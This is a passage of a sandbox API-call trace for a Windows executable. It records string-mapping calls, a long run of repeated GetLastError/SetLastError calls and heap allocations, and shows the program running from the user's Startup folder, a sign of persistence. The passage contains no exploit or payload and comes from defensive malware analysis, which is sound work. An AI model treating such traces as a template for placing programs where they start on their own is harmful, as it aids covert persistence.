¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0142.101] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0142.101] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x9cf388, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0142.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x9cfa3c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x11\x24\xab\xae\x74\xfd\x9c", lpUsedDefaultChar=0x0) returned 256 [0142.102] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xb6f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe")) returned 0x5e [0142.102] GetLastError () returned 0x0 [0142.102] SetLastError (dwErrCode=0x0) [0142.102] GetLastError () returned 0x0 [0142.102] SetLastError (dwErrCode=0x0) [0142.102] GetLastError () returned 0x0 [0142.102] SetLastError (dwErrCode=0x0) [0142.102] GetLastError () returned 0x0 [0142.102] SetLastError (dwErrCode=0x0) [0142.102] GetLastError () returned 0x0 [0142.102] SetLastError (dwErrCode=0x0) [0142.102] GetLastError () returned 0x0 [0142.102] SetLastError (dwErrCode=0x0) [0142.102] GetLastError () returned 0x0 [0142.102] SetLastError (dwErrCode=0x0) [0142.102] GetLastError () returned 0x0 [0142.102] SetLastError (dwErrCode=0x0) [0142.102] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.103] GetLastError () returned 0x0 [0142.103] SetLastError (dwErrCode=0x0) [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.190] SetLastError (dwErrCode=0x0) [0142.190] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.191] SetLastError (dwErrCode=0x0) [0142.191] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.192] SetLastError (dwErrCode=0x0) [0142.192] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.193] SetLastError (dwErrCode=0x0) [0142.193] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] GetLastError () returned 0x0 [0142.194] SetLastError (dwErrCode=0x0) [0142.194] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x67) returned 0x24d1788 [0142.194] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.195] GetLastError () returned 0x0 [0142.195] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.196] SetLastError (dwErrCode=0x0) [0142.196] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.197] SetLastError (dwErrCode=0x0) [0142.197] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.198] SetLastError (dwErrCode=0x0) [0142.198] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.199] SetLastError (dwErrCode=0x0) [0142.199] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.200] SetLastError (dwErrCode=0x0) [0142.200] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.201] SetLastError (dwErrCode=0x0) [0142.201] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.202] SetLastError (dwErrCode=0x0) [0142.202] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] GetLastError () returned 0x0 [0142.203] SetLastError (dwErrCode=0x0) [0142.203] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x98) returned 0x24d17f8 [0142.203] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x1f) returned 0x24d1898 [0142.203] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x28) returned 0x24d18c0 [0142.203] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x37) returned 0x24d18f0 [0142.203] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x3c) returned 0x24d1930 [0142.203] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x31) returned 0x24d1978 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x14) returned 0x24d19b8 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x24) returned 0x24d19d8 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0xd) returned 0x24d1a08 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x17) returned 0x24d1a20 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x2b) returned 0x24d1a40 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x15) returned 0x24d1a78 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x17) returned 0x24d1a98 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x22) returned 0x24d1ab8 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0xe) returned 0x24d1ae8 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0xc2) returned 0x24d1b00 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x3e) returned 0x24d1bd0 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x1b) returned 0x24d1c18 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x1d) returned 0x24d1c40 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x48) returned 0x24d1c68 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x12) returned 0x24d1cb8 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x18) returned 0x24d1cd8 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x1b) returned 0x24d1cf8 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x24) returned 0x24d1d20 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x29) returned 0x24d1d50 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x1e) returned 0x24d1d88 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x6b) returned 0x24d1db0 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x17) returned 0x24d1e28 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x14) returned 0x24d1e48 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0xf) returned 0x24d1e68 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x16) returned 0x24d1e80 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x28) returned 0x24d1ea0 